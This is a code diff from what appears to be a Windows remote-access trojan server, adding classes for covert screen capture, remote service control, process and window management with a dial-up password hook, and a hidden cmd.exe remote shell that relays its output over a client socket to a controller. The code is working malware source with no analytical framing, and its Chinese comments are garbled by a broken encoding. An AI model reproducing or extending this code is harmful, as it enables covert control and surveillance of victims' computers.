// jmp short Loop_Block_Compare // <20><><EFBFBD>ݲ<EFBFBD>ͬ<EFBFBD><CDAC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><E9A3AC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>бȽ<D0B1>
// Loop_Block_Compare_Continue:
// mov eax, dword ptr [esi]
// cmp eax, dword ptr [edi]
// jnz short Loop_Block_Compare_Not_Equal // <20><><EFBFBD>ݲ<EFBFBD><DDB2><EFBFBD><EFBFBD>ȣ<EFBFBD>д<EFBFBD><D0B4>
// mov eax, ecx
// sub eax, dword ptr [edx]
// add edx, 4
// mov dword ptr [edx], eax
// add eax, 8
// add [Bytes], eax
// add esi, 4
// add edi, 4
// add ecx, 4
// jmp short Loop_Block_Compare_Finish
// Loop_Block_Compare_Not_Equal:
// mov dword ptr [ebx], eax
// mov [edi], eax // д<>벻ͬ<EBB2BB><CDAC><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD>Ŀ<EFBFBD><C4BF><EFBFBD><EFBFBD>
// add ebx, 4
// add esi, 4
// add edi, 4
// add ecx, 4
// Loop_Block_Compare:
// cmp ecx, [dwSize]
// jb short Loop_Block_Compare_Continue
// Loop_Block_Compare_Finish:
// cmp ecx, [dwSize]
// jnz short Loop_Compare
// mov eax, ecx
// sub eax, dword ptr [edx]
// add edx, 4
// mov dword ptr [edx], eax
// add eax, 8
// add [Bytes], eax
// jmp short Loop_Compare
// Loop_Compare_Equal:
// add esi, 4
// add edi, 4
// add ecx, 4
// Loop_Compare:
// cmp ecx, [dwSize]
// jb short Loop_Compare_Continue
// }
// return Bytes;
}

View File

@@ -0,0 +1,64 @@
// ScreenSpy.h: interface for the CScreenSpy class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_SCREENSPY_H__6600B30F_A7E3_49D4_9DE6_9C35E71CE3EE__INCLUDED_)
#define AFX_SCREENSPY_H__6600B30F_A7E3_49D4_9DE6_9C35E71CE3EE__INCLUDED_
#include <windows.h>
#include "..\..\..\common\CursorInfo.h"
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
// <20><><EFBFBD><EFBFBD><EFBFBD>
#define ALGORITHM_SCAN 1 // <20>ٶȺܿ죬<DCBF><ECA3AC><EFBFBD><EFBFBD>Ƭ̫<C6AC><CCAB>
#define ALGORITHM_DIFF 2 // <20>ٶȺ<D9B6><C8BA><EFBFBD><EFBFBD><EFBFBD>ҲռCPU<50><55><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С<EFBFBD><D0A1>
class CScreenSpy
{
public:
CScreenSpy(int biBitCount= 8, bool bIsGray= false, UINT nMaxFrameRate = 100);
virtual ~CScreenSpy();
LPVOID getFirstScreen();
LPVOID getNextScreen(LPDWORD lpdwBytes);
void setAlgorithm(UINT nAlgorithm);
LPBITMAPINFO getBI();
UINT getBISize();
UINT getFirstImageSize();
void setCaptureLayer(bool bIsCaptureLayer);
private:
BYTE m_bAlgorithm;
UINT m_nMaxFrameRate;
bool m_bIsGray;
DWORD m_dwBitBltRop;
DWORD m_dwLastCapture;
DWORD m_dwSleep;
LPBYTE m_rectBuffer;
UINT m_rectBufferOffset;
BYTE m_nIncSize;
int m_nFullWidth, m_nFullHeight, m_nStartLine;
RECT m_changeRect;
HDC m_hFullDC, m_hLineMemDC, m_hFullMemDC, m_hRectMemDC;
HBITMAP m_hLineBitmap, m_hFullBitmap;
LPVOID m_lpvLineBits, m_lpvFullBits;
LPBITMAPINFO m_lpbmi_line, m_lpbmi_full, m_lpbmi_rect;
int m_biBitCount;
int m_nDataSizePerLine;
LPVOID m_lpvDiffBits; // <20><><EFBFBD><EFBFBD><EFBFBD>Ƚϵ<C8BD><CFB5><EFBFBD>һ<EFBFBD><D2BB>
HDC m_hDiffDC, m_hDiffMemDC;
HBITMAP m_hDiffBitmap;
CCursorInfo m_CursorInfo;
void ScanScreen(HDC hdcDest, HDC hdcSrc, int nWidth, int nHeight); // <20><><EFBFBD><EFBFBD>CPU
int Compare(LPBYTE lpSource, LPBYTE lpDest, LPBYTE lpBuffer, DWORD dwSize);
LPBITMAPINFO ConstructBI(int biBitCount, int biWidth, int biHeight);
void WriteRectBuffer(LPBYTE lpData, int nCount);
bool ScanChangedRect(int nStartLine);
void CopyRect(LPRECT lpRect);
bool SelectInputWinStation();
HWND m_hDeskTopWnd;
};
#endif // !defined(AFX_SCREENSPY_H__6600B30F_A7E3_49D4_9DE6_9C35E71CE3EE__INCLUDED_)

View File

@@ -0,0 +1,294 @@
// ServerManager.cpp: implementation of the CServerManager class.
//
//////////////////////////////////////////////////////////////////////
#include "..\pch.h"
#include "ServerManager.h"
#include "..\..\..\common\macros.h"
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CServerManager::CServerManager(CClientSocket *pClient) : CManager(pClient)
{
SendServicesList();
}
CServerManager::~CServerManager()
{
}
LPBYTE CServerManager::getServerList()
{
LPQUERY_SERVICE_CONFIG ServicesInfo = NULL;
LPENUM_SERVICE_STATUS lpServices = NULL;
LPBYTE lpBuffer = NULL;
DWORD nSize = 0;
DWORD n;
DWORD nResumeHandle = 0;
DWORD dwServiceType = SERVICE_WIN32;
DWORD dwLength = 0;
DWORD dwOffset = 0;
char runway[256] = {0};
char autorun[256] = {0};
BOOL isAalid = TRUE;
SC_HANDLE schSCManager = NULL;
BOOL Flag = FALSE;
if((schSCManager=OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS))==NULL)
{
OutputDebugString("OpenSCManager Error\n");
return NULL;
}
lpServices = (LPENUM_SERVICE_STATUS) LocalAlloc(LPTR, 64*1024); // Allocate Ram
EnumServicesStatus(schSCManager,
dwServiceType,
SERVICE_STATE_ALL,
(LPENUM_SERVICE_STATUS)lpServices,
64 * 1024,
&nSize,
&n,
&nResumeHandle);
lpBuffer = (LPBYTE)LocalAlloc(LPTR, MAX_PATH);
lpBuffer[0] = TOKEN_SERVERLIST;
dwOffset = 1;
for (unsigned long i = 0; i < n; i++) // Display The Services,<2C><>ʾ<EFBFBD><CABE><EFBFBD>еķ<D0B5><C4B7><EFBFBD>
{
SC_HANDLE service = NULL;
DWORD nResumeHandle = 0;
service=OpenService(schSCManager,lpServices[i].lpServiceName,SERVICE_ALL_ACCESS);//<2F>򿪵<EFBFBD>ǰָ<C7B0><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ľ<EFBFBD><C4BE><EFBFBD>
if (service == NULL)
isAalid = false;
else
isAalid = true;
ServicesInfo = (LPQUERY_SERVICE_CONFIG) LocalAlloc(LPTR, 4*1024); // Allocate Ram
QueryServiceConfig(service,ServicesInfo,4*1024,&nResumeHandle); //<2F><>ѯ<EFBFBD><D1AF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if ( lpServices[i].ServiceStatus.dwCurrentState!=SERVICE_STOPPED) //<2F><><EFBFBD><EFBFBD>״̬
{
ZeroMemory(runway, sizeof(runway));
lstrcat(runway,"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>");
}
else
{
ZeroMemory(runway, sizeof(runway));
lstrcat(runway,"ֹͣ");
}
if(2==ServicesInfo->dwStartType) //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
{
ZeroMemory(autorun, sizeof(autorun));
lstrcat(autorun,"<EFBFBD>Զ<EFBFBD>");
}
if(3==ServicesInfo->dwStartType)
{
ZeroMemory(autorun, sizeof(autorun));
lstrcat(autorun,"<EFBFBD>ֶ<EFBFBD>");
}
if(4==ServicesInfo->dwStartType)
{
ZeroMemory(autorun, sizeof(autorun));
lstrcat(autorun,"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>");
}
if (isAalid)
{
dwLength = sizeof(DWORD) + lstrlen(lpServices[i].lpDisplayName)
+ lstrlen(ServicesInfo->lpBinaryPathName) + lstrlen(lpServices[i].lpServiceName)
+ lstrlen(runway) + lstrlen(autorun) + 2;
}
else
{
dwLength = sizeof(DWORD) + lstrlen(lpServices[i].lpDisplayName)
+ lstrlen(lpServices[i].lpServiceName)
+ lstrlen(runway) + lstrlen(autorun) + lstrlen("No Access") + 2;
}
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̫С<CCAB><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7><EFBFBD><EFBFBD><EFBFBD>
if (LocalSize(lpBuffer) < (dwOffset + dwLength))
lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength), LMEM_ZEROINIT|LMEM_MOVEABLE);
memcpy(lpBuffer + dwOffset, lpServices[i].lpDisplayName, lstrlen(lpServices[i].lpDisplayName) + 1);
dwOffset += lstrlen(lpServices[i].lpDisplayName) + 1;//<2F><>ʵ<EFBFBD><CAB5><EFBFBD><EFBFBD>
memcpy(lpBuffer + dwOffset, lpServices[i].lpServiceName, lstrlen(lpServices[i].lpServiceName) + 1);
dwOffset += lstrlen(lpServices[i].lpServiceName) + 1;//<2F><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD>
if (isAalid)
{
memcpy(lpBuffer + dwOffset, ServicesInfo->lpBinaryPathName, lstrlen(ServicesInfo->lpBinaryPathName) + 1);
dwOffset += lstrlen(ServicesInfo->lpBinaryPathName) + 1;//·<><C2B7>
memcpy(lpBuffer + dwOffset, runway, lstrlen(runway) + 1);//<2F><><EFBFBD><EFBFBD>״̬
dwOffset += lstrlen(runway) + 1;
memcpy(lpBuffer + dwOffset, autorun, lstrlen(autorun) + 1);//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>״̬
dwOffset += lstrlen(autorun) + 1;
}
else
{
ZeroMemory(runway, sizeof(runway));
lstrcat(runway, "<EFBFBD><EFBFBD>Ȩ");
ZeroMemory(autorun, sizeof(autorun));
lstrcat(autorun, "<EFBFBD><EFBFBD>Ȩ");
memcpy(lpBuffer + dwOffset, "No Access", lstrlen("No Access") + 1);//·<><C2B7>
dwOffset += lstrlen("No Access") + 1;
memcpy(lpBuffer + dwOffset, runway, lstrlen(runway) + 1);//<2F><><EFBFBD><EFBFBD>״̬
dwOffset += lstrlen(runway) + 1;
memcpy(lpBuffer + dwOffset, autorun, lstrlen(autorun) + 1);//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>״̬
dwOffset += lstrlen(autorun) + 1;
}
}
CloseServiceHandle(schSCManager);
lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset, LMEM_ZEROINIT|LMEM_MOVEABLE);
return lpBuffer;
}
void CServerManager::SendServicesList()
{
UINT nRet = -1;
LPBYTE lpBuffer = getServerList();
if (lpBuffer == NULL)
return;
Send((LPBYTE)lpBuffer, LocalSize(lpBuffer));
LocalFree(lpBuffer);
}
void CServerManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
switch (lpBuffer[0])
{
case COMMAND_SERVICELIST:
SendServicesList();
break;
case COMMAND_SERVICECONFIG:
ServiceConfig((LPBYTE)lpBuffer + 1, nSize - 1);
break;
default:
break;
}
}
void CServerManager::ServiceConfig(LPBYTE lpBuffer, UINT nSize)
{
BYTE COMMAND = lpBuffer[0];
char *m_ServiceName = (char *)(lpBuffer + 1);
switch (COMMAND)
{
case COMMAND_SERVICES_START: //start
{
SC_HANDLE hSCManager1 = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (NULL != hSCManager1)
{
SC_HANDLE hService1 = OpenService(hSCManager1, m_ServiceName, SERVICE_ALL_ACCESS);
if (NULL != hService1)
{
StartService(hService1, NULL, NULL);
CloseServiceHandle(hService1);
}
CloseServiceHandle(hSCManager1);
}
Sleep(500);
SendServicesList();
}
break;
case COMMAND_SERVICES_STOP: //stop
{
SC_HANDLE hSCManager4 = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (NULL != hSCManager4)
{
SC_HANDLE hService4 = OpenService(hSCManager4, m_ServiceName, SERVICE_ALL_ACCESS);
if (NULL != hService4)
{
SERVICE_STATUS stat;
ControlService(hService4, SERVICE_CONTROL_STOP, &stat);
CloseServiceHandle(hService4);
}
CloseServiceHandle(hSCManager4);
}
Sleep(500);
SendServicesList();
}
break;
case COMMAND_SERVICES_AUTO: //auto
{
SC_HANDLE hSCManager2 = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (NULL != hSCManager2)
{
SC_HANDLE hService2 = OpenService(hSCManager2, m_ServiceName, SERVICE_ALL_ACCESS);
if (NULL != hService2)
{
SC_LOCK sclLock2 = LockServiceDatabase(hSCManager2);
BOOL stat2 = ChangeServiceConfig(
hService2,
SERVICE_NO_CHANGE,
SERVICE_AUTO_START,
SERVICE_NO_CHANGE,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL);
UnlockServiceDatabase(sclLock2);
CloseServiceHandle(hService2);
}
CloseServiceHandle(hSCManager2);
}
Sleep(500);
SendServicesList();
}
break;
case COMMAND_SERVICES_MANUAL: // DEMAND_START
{
SC_HANDLE hSCManager3 = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (NULL != hSCManager3)
{
SC_HANDLE hService3 = OpenService(hSCManager3, m_ServiceName, SERVICE_ALL_ACCESS);
if (NULL != hService3)
{
SC_LOCK sclLock3 = LockServiceDatabase(hSCManager3);
BOOL stat3 = ChangeServiceConfig(
hService3,
SERVICE_NO_CHANGE,
SERVICE_DEMAND_START,
SERVICE_NO_CHANGE,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL);
UnlockServiceDatabase(sclLock3);
CloseServiceHandle(hService3);
}
CloseServiceHandle(hSCManager3);
}
Sleep(500);
SendServicesList();
}
defaute:
break;
}
}

View File

@@ -0,0 +1,27 @@
// ServerManager.h: interface for the CServerManager class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_SERVERMANAGER_H__BAE27F8C_8A1C_4D5B_89F6_FA138B65470E__INCLUDED_)
#define AFX_SERVERMANAGER_H__BAE27F8C_8A1C_4D5B_89F6_FA138B65470E__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include "Manager.h"
class CServerManager : public CManager
{
public:
CServerManager(CClientSocket *pClient);
virtual ~CServerManager();
virtual void OnReceive(LPBYTE lpBuffer, UINT nSize);
protected:
void SendServicesList();
LPBYTE getServerList();
void ServiceConfig(LPBYTE lpBuffer, UINT nSize);
};
#endif // !defined(AFX_SERVERMANAGER_H__BAE27F8C_8A1C_4D5B_89F6_FA138B65470E__INCLUDED_)

View File

@@ -0,0 +1,188 @@
// ShellManager.cpp: implementation of the CShellManager class.
//
//////////////////////////////////////////////////////////////////////
#include "..\pch.h"
#include "ShellManager.h"
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CShellManager::CShellManager(CClientSocket *pClient):CManager(pClient)
{
SECURITY_ATTRIBUTES sa = {0}; //<2F><>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
STARTUPINFO si = {0};
PROCESS_INFORMATION pi = {0};
char strShellPath[MAX_PATH] = {0};
m_UserShell = false;
m_hReadPipeHandle = NULL;
m_hWritePipeHandle = NULL;
m_hReadPipeShell = NULL;
m_hWritePipeShell = NULL;
sa.nLength = sizeof(sa);
sa.lpSecurityDescriptor = NULL;
sa.bInheritHandle = TRUE;
//<2F><><EFBFBD><EFBFBD><EFBFBD>ܵ<EFBFBD><DCB5><EFBFBD><EFBFBD>ܵ<EFBFBD><DCB5><EFBFBD><EFBFBD>ڻ<EFBFBD>ȡcmd<6D><64><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
if(!CreatePipe(
&m_hReadPipeHandle, // __out <20><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>
&m_hWritePipeShell, // __out д<><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
&sa, // __in SECURITY_ATTRIBUTES<45><EFBFBD><E1B9B9>ָ<EFBFBD><D6B8> <20>Ӳⷵ<D3B2>صľ<D8B5><C4BE><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7>ܹ<EFBFBD><DCB9><EFBFBD><EFBFBD>ӽ<EFBFBD><D3BD>̼̳У<CCB3>ΪNULL<4C><4C><EFBFBD>ܼ̳<DCBC> <20><><EFBFBD><EFBFBD><EFBFBD>ܵ<EFBFBD><DCB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><E1B9B9>
0 // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С<EFBFBD><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ0ʱʹ<CAB1><CAB9>Ĭ<EFBFBD>ϴ<EFBFBD>С
))
{
if(m_hReadPipeHandle != NULL) CloseHandle(m_hReadPipeHandle);
if(m_hWritePipeShell != NULL) CloseHandle(m_hWritePipeShell);
return;
}
//<2F><><EFBFBD><EFBFBD><EFBFBD>ܵ<EFBFBD><DCB5><EFBFBD><EFBFBD>ܵ<EFBFBD><DCB5><EFBFBD><EFBFBD>ڻ<EFBFBD>ȡcmd<6D><64><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
if(!CreatePipe(&m_hReadPipeShell, &m_hWritePipeHandle, &sa, 0))
{
if(m_hWritePipeHandle != NULL) CloseHandle(m_hWritePipeHandle);
if(m_hReadPipeShell != NULL) CloseHandle(m_hReadPipeShell);
return;
}
memset((void *)&si, 0, sizeof(si));
memset((void *)&pi, 0, sizeof(pi));
GetStartupInfo(&si);
si.cb = sizeof(STARTUPINFO);
si.wShowWindow = SW_HIDE;
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
si.hStdInput = m_hReadPipeShell;//<2F><><EFBFBD>ܵ<EFBFBD><DCB5><EFBFBD>ֵ
si.hStdOutput = si.hStdError = m_hWritePipeShell;
GetSystemDirectory(strShellPath, MAX_PATH);
strcat(strShellPath,"\\cmd.exe");
//<2F><><EFBFBD><EFBFBD>CMD<4D><44><EFBFBD>̣<EFBFBD>ָ<EFBFBD><D6B8><EFBFBD>ܵ<EFBFBD>
if (!CreateProcess(strShellPath, NULL, NULL, NULL, TRUE,
NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi))
{
CloseHandle(m_hReadPipeHandle);
CloseHandle(m_hWritePipeHandle);
CloseHandle(m_hReadPipeShell);
CloseHandle(m_hWritePipeShell);
return;
}
m_hProcessHandle = pi.hProcess;
m_hThreadHandle = pi.hThread;
//<2F><>־<EFBFBD><D6BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD> shell<6C><6C><EFBFBD><EFBFBD>
BYTE bToken = TOKEN_SHELL_START;
//֪ͨ׼<D6AA><D7BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Send((LPBYTE)&bToken, 1);
WaitForDialogOpen();
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȡ<EFBFBD>ܵ<EFBFBD><DCB5><EFBFBD><EFBFBD>ݵ<EFBFBD><DDB5>߳<EFBFBD>
m_hThreadRead = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ReadPipeThread, (LPVOID)this, 0, NULL);
//<2F><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>ȴ<EFBFBD><C8B4>߳<EFBFBD> <20>ȴ<EFBFBD><C8B4>ܵ<EFBFBD><DCB5><EFBFBD><EFBFBD>رգ<D8B1><D5A3>ն˽<D5B6><CBBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
m_hThreadMonitor = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MonitorThread, (LPVOID)this, 0, NULL);
}
CShellManager::~CShellManager()
{
TerminateThread(m_hThreadRead, 0);
TerminateProcess(m_hProcessHandle, 0);
TerminateThread(m_hThreadHandle, 0);
WaitForSingleObject(m_hThreadMonitor, 2000);
TerminateThread(m_hThreadMonitor, 0);
if (m_hReadPipeHandle != NULL)
DisconnectNamedPipe(m_hReadPipeHandle);
if (m_hWritePipeHandle != NULL)
DisconnectNamedPipe(m_hWritePipeHandle);
if (m_hReadPipeShell != NULL)
DisconnectNamedPipe(m_hReadPipeShell);
if (m_hWritePipeShell != NULL)
DisconnectNamedPipe(m_hWritePipeShell);
CloseHandle(m_hReadPipeHandle);
CloseHandle(m_hWritePipeHandle);
CloseHandle(m_hReadPipeShell);
CloseHandle(m_hWritePipeShell);
CloseHandle(m_hProcessHandle);
CloseHandle(m_hThreadHandle);
CloseHandle(m_hThreadMonitor);
CloseHandle(m_hThreadRead);
}
void CShellManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
if (nSize == 1 && lpBuffer[0] == COMMAND_NEXT)
{
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD>źŴ򿪣<C5B4>Ȼ<EFBFBD><C8BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>WaitForDialogOpen();ִ<>к<EFBFBD><D0BA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
NotifyDialogIsOpen();
return;
}
m_UserShell = TRUE;
//д<><D0B4><EFBFBD>ܵ<EFBFBD><DCB5><EFBFBD><EFBFBD><EFBFBD>
WriteFile(m_hWritePipeHandle, lpBuffer, nSize, &m_ByteWrite, NULL);
}
//<2F><>ȡCMD<4D><44><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̺߳<DFB3><CCBA><EFBFBD>
DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lparam)
{
unsigned long BytesRead = 0;
unsigned long BytesReads = 0;
char ReadBuff[1024];
DWORD TotalBytesAvail;
CShellManager *pThis = (CShellManager *)lparam;
while (1)
{
Sleep(100);
//<2F>ж<EFBFBD><D0B6>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Լ<EFBFBD><D4BC><EFBFBD><EFBFBD>ݴ<EFBFBD>С
while (PeekNamedPipe(pThis->m_hReadPipeHandle, ReadBuff, sizeof(ReadBuff), &BytesRead, &TotalBytesAvail, NULL))
{
//û<><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѭ<EFBFBD><D1AD>
if (BytesRead <= 0)
break;
memset(ReadBuff, 0, sizeof(ReadBuff));
LPBYTE lpBuffers = NULL;
LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, TotalBytesAvail);
//<2F><>ȡ<EFBFBD>ܵ<EFBFBD><DCB5><EFBFBD><EFBFBD><EFBFBD>
ReadFile(pThis->m_hReadPipeHandle, lpBuffer, TotalBytesAvail, &BytesRead, NULL);
if (pThis->m_UserShell)
{
lpBuffers = &lpBuffer[pThis->m_ByteWrite - 2];
BytesReads = BytesRead - pThis->m_ByteWrite + 2;
}
else
{
lpBuffers = lpBuffer;
BytesReads = BytesRead;
}
pThis->m_UserShell = false;
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ---->OnReceive<76><65><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
pThis->Send(lpBuffers, BytesReads);
LocalFree(lpBuffer);
}
}
return 0;
}
//<2F>ȴ<EFBFBD><C8B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̹߳ر<CCB9><D8B1><EFBFBD><EFBFBD><EFBFBD>
DWORD WINAPI CShellManager::MonitorThread(LPVOID lparam)
{
CShellManager *pThis = (CShellManager *)lparam;
HANDLE hThread[2];
hThread[0] = pThis->m_hProcessHandle;
hThread[1] = pThis->m_hThreadRead;
WaitForMultipleObjects(2, hThread, FALSE, INFINITE);
//<2F>ر<EFBFBD><D8B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>CMDѭ<44><D1AD><EFBFBD><EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD>ݵ<EFBFBD><DDB5>߳<EFBFBD>
TerminateThread(pThis->m_hThreadRead, 0);
TerminateProcess(pThis->m_hProcessHandle, 1);
pThis->m_pClient->Disconnect();
return 0;
}

View File

@@ -0,0 +1,37 @@
// ShellManager.h: interface for the CShellManager class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_SHELLMANAGER_H__CCDCEFAB_AFD9_4F2C_A633_637ECB94B6EE__INCLUDED_)
#define AFX_SHELLMANAGER_H__CCDCEFAB_AFD9_4F2C_A633_637ECB94B6EE__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include "Manager.h"
class CShellManager : public CManager
{
public:
CShellManager(CClientSocket *pClient);
virtual ~CShellManager();
virtual void OnReceive(LPBYTE lpBuffer, UINT nSize);
private:
HANDLE m_hReadPipeHandle;
HANDLE m_hWritePipeHandle;
HANDLE m_hReadPipeShell;
HANDLE m_hWritePipeShell;
HANDLE m_hProcessHandle;
HANDLE m_hThreadHandle;
HANDLE m_hThreadRead;
HANDLE m_hThreadMonitor;
unsigned long m_ByteWrite;
bool m_UserShell;
static DWORD WINAPI ReadPipeThread(LPVOID lparam);
static DWORD WINAPI MonitorThread(LPVOID lparam);
};
#endif // !defined(AFX_SHELLMANAGER_H__CCDCEFAB_AFD9_4F2C_A633_637ECB94B6EE__INCLUDED_)

View File

@@ -0,0 +1,461 @@
// SystemManager.cpp: implementation of the CSystemManager class.
//
//////////////////////////////////////////////////////////////////////
#include "..\pch.h"
#include "SystemManager.h"
#include "Dialupass.h"
#include <tlhelp32.h>
#include <psapi.h>
#include <iphlpapi.h>
#pragma comment(lib,"Iphlpapi.lib")
#pragma comment(lib,"Psapi.lib")
#include "until.h"
#include <tchar.h>
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
int GetWindowTextSafe(HWND hWnd, LPTSTR lpString, int nMaxCount);
CSystemManager::CSystemManager(CClientSocket *pClient, BYTE bHow) : CManager(pClient)
{
m_caseSystemIs = bHow;
if (m_caseSystemIs == COMMAND_WSLIST) //<2F><><EFBFBD><EFBFBD><EFBFBD>ǻ<EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>
{
SendWindowsList();
}
else if (m_caseSystemIs == COMMAND_SYSTEM) //<2F><><EFBFBD><EFBFBD><EFBFBD>ǻ<EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>
{
SendProcessList();
}
}
CSystemManager::~CSystemManager()
{
}
void CSystemManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
SwitchInputDesktop();
switch (lpBuffer[0])//<2F><><EFBFBD><EFBFBD><EFBFBD>ǽ<EFBFBD><C7BD>̹<EFBFBD><CCB9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵĺ<DDB5><C4BA><EFBFBD><EFBFBD><EFBFBD> <20>ж<EFBFBD><D0B6><EFBFBD><EFBFBD>ĸ<EFBFBD><C4B8><EFBFBD><EFBFBD><EFBFBD>
{
case COMMAND_PSLIST: //<2F><><EFBFBD>ͽ<EFBFBD><CDBD><EFBFBD><EFBFBD>б<EFBFBD>
SendProcessList();
break;
case COMMAND_WSLIST: //<2F><><EFBFBD>ʹ<EFBFBD><CDB4><EFBFBD><EFBFBD>б<EFBFBD>
SendWindowsList();
break;
case COMMAND_DIALUPASS: //<2F><><EFBFBD><EFBFBD>20200530
break;
case COMMAND_KILLPROCESS: //<2F>رս<D8B1><D5BD><EFBFBD>
KillProcess((LPBYTE)lpBuffer + 1, nSize - 1);
case COMMAND_WINDOW_CLOSE: //<2F>رմ<D8B1><D5B4><EFBFBD>
CloseTheWindow(lpBuffer + 1);
break;
case COMMAND_WINDOW_TEST: //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С<EFBFBD><D0A1> <20><><EFBFBD>ش<EFBFBD><D8B4>ں<EFBFBD>
ShowTheWindow(lpBuffer + 1);
break;
default:
break;
}
}
void CSystemManager::SendProcessList()
{
UINT nRet = -1;
//<2F><><EFBFBD><EFBFBD>getProcessList<73>õ<EFBFBD><C3B5><EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD>̵<EFBFBD><CCB5><EFBFBD><EFBFBD><EFBFBD> --->lpBuffer
LPBYTE lpBuffer = getProcessList();
if (lpBuffer == NULL)
return;
//<2F><><EFBFBD>ͺ<EFBFBD><CDBA><EFBFBD> <20><><EFBFBD><EFBFBD><E0BAAF>send <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ľ<EFBFBD><C4BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݷ<EFBFBD><DDB7><EFBFBD>
Send((LPBYTE)lpBuffer, LocalSize(lpBuffer));
LocalFree(lpBuffer);
}
void CSystemManager::SendWindowsList()
{
